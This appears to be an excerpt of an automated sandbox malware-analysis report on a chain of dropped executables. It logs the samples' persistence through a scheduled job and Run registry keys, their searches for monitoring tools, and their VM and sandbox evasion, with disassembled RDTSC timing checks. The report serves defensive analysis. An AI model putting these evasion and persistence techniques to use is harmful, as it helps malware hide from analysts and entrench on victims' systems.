Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de057a4668.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de057a4668.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9de8348ea3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9de8348ea3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc1af330ba.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc1af330ba.exe
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60F415 second address: 60F43D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F654CE0FA08h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F654CE0FA13h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 78702F second address: 787035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 785FFE second address: 78602E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Fh 0x00000007 jmp 00007F654CE0FA16h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7861BE second address: 7861C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7861C2 second address: 7861F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F654CE0FA13h 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F654CE0FA16h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 786755 second address: 78676B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E62h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 78676B second address: 786786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA17h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 786786 second address: 786790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 786790 second address: 786794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
